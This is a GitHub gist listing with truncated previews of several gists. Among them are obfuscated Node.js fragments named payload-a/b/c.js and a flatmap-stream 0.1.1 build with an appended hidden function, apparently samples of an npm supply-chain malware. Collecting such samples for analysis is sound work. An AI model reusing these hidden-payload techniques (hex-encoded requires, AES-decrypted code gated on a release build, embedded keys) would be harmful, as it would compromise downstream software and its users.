View silkjs_deps.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mkdir deps | |
cd deps | |
export SILKURL=https://github.com/downloads/mschwartz/SilkJS/ | |
for DEP in mysql-5.1.58.tar.gz mm_1.4.2.orig.tar.gz libjpeg8_8b.orig.tar.gz libgd2_2.0.36~rc1~dfsg.orig.tar.gz; do \ | |
echo Downloading $DEP; curl -LO $SILKURL$DEP && echo Extracting $DEP && tar -xzf $DEP && echo Done; done | |
for DEP in mysql mm jpeg libgd2; do cd $DEP*; ./configure && make && sudo make install; cd ..; done | |
cd .. |
View ajax.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function ajax(url, cb, postData) { | |
var request = window.ActiveXObject ? new ActiveXObject('Microsoft.XMLHTTP') : new XMLHttpRequest(); | |
request.onreadystatechange = function () { | |
console.log('what'); | |
if (request.readyState==4) | |
cb(request.responseText); | |
}; | |
if (postData) { |
View jsonp.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function jsonp(src,cb){ | |
var script = document.createElement('script'); | |
var previousCall = document.getElementById('srvCall'); | |
previousCall && document.body.removeChild(previousCall); | |
script.charset = 'UTF-8'; | |
script.id = 'srvCall'; | |
document.body.insertBefore(script, document.body.firstChild); | |
script.src = src; | |
window.serverCallback = cb; | |
} |
View .jshintrc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Show hidden characters
{ | |
// Enforcing | |
"camelcase" : true, // true: Identifiers must be in camelCase | |
"curly" : false, // true: Require {} for every new block or scope | |
"indent" : 2, // {int} Number of spaces to use for indentation | |
"latedef" : "nofunc", // true: Require variables/functions to be defined before being used | |
"newcap" : true, // true: Require capitalization of all constructor functions e.g. `new F()` | |
"nonew" : true, // true: Prohibit use of constructors for side-effects (without assignment) | |
"unused" : "vars", // true: Require all defined variables be used | |
"trailing" : true, // true: Prohibit trailing whitespaces |
View payload-a.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
! function() { | |
try { | |
var r = require, | |
t = process; | |
function e(r) { | |
return Buffer.from(r, "hex").toString() | |
} | |
var n = r(e("2e2f746573742f64617461")), | |
o = t[e(n[3])][e(n[4])]; |
View payload-b.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*@@*/ | |
module.exports = function(e) { | |
try { | |
if (!/build\:.*\-release/.test(process.argv[2])) return; | |
var t = process.env.npm_package_description, | |
r = require("fs"), | |
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", | |
n = r.statSync(i), | |
c = r.readFileSync(i, "utf8"), | |
o = require("crypto").createDecipher("aes256", t), |
View payload-c.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*@@*/ | |
! function() { | |
function e() { | |
try { | |
var o = require("http"), | |
a = require("crypto"), | |
c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----"; | |
function i(e, t, n) { | |
e = Buffer.from(e, "hex").toString(); |
View flatmap-stream@0.1.1__index.min.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){t |
View flatmap-stream@0.1.2__index.min.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i}; |
View puppeteer-request-echo.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const puppeteer = require('puppeteer'); | |
(async() => { | |
const browser = await puppeteer.launch({ | |
}); | |
const page = (await browser.pages())[0]; | |
const response = await page.goto('http://scooterlabs.com/echo.json'); |
OlderNewer